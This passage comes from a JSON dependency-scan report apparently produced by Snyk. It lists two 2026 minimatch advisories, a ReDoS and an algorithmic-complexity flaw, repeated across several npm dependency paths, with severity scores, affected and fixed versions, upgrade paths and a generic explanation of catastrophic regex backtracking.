"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": 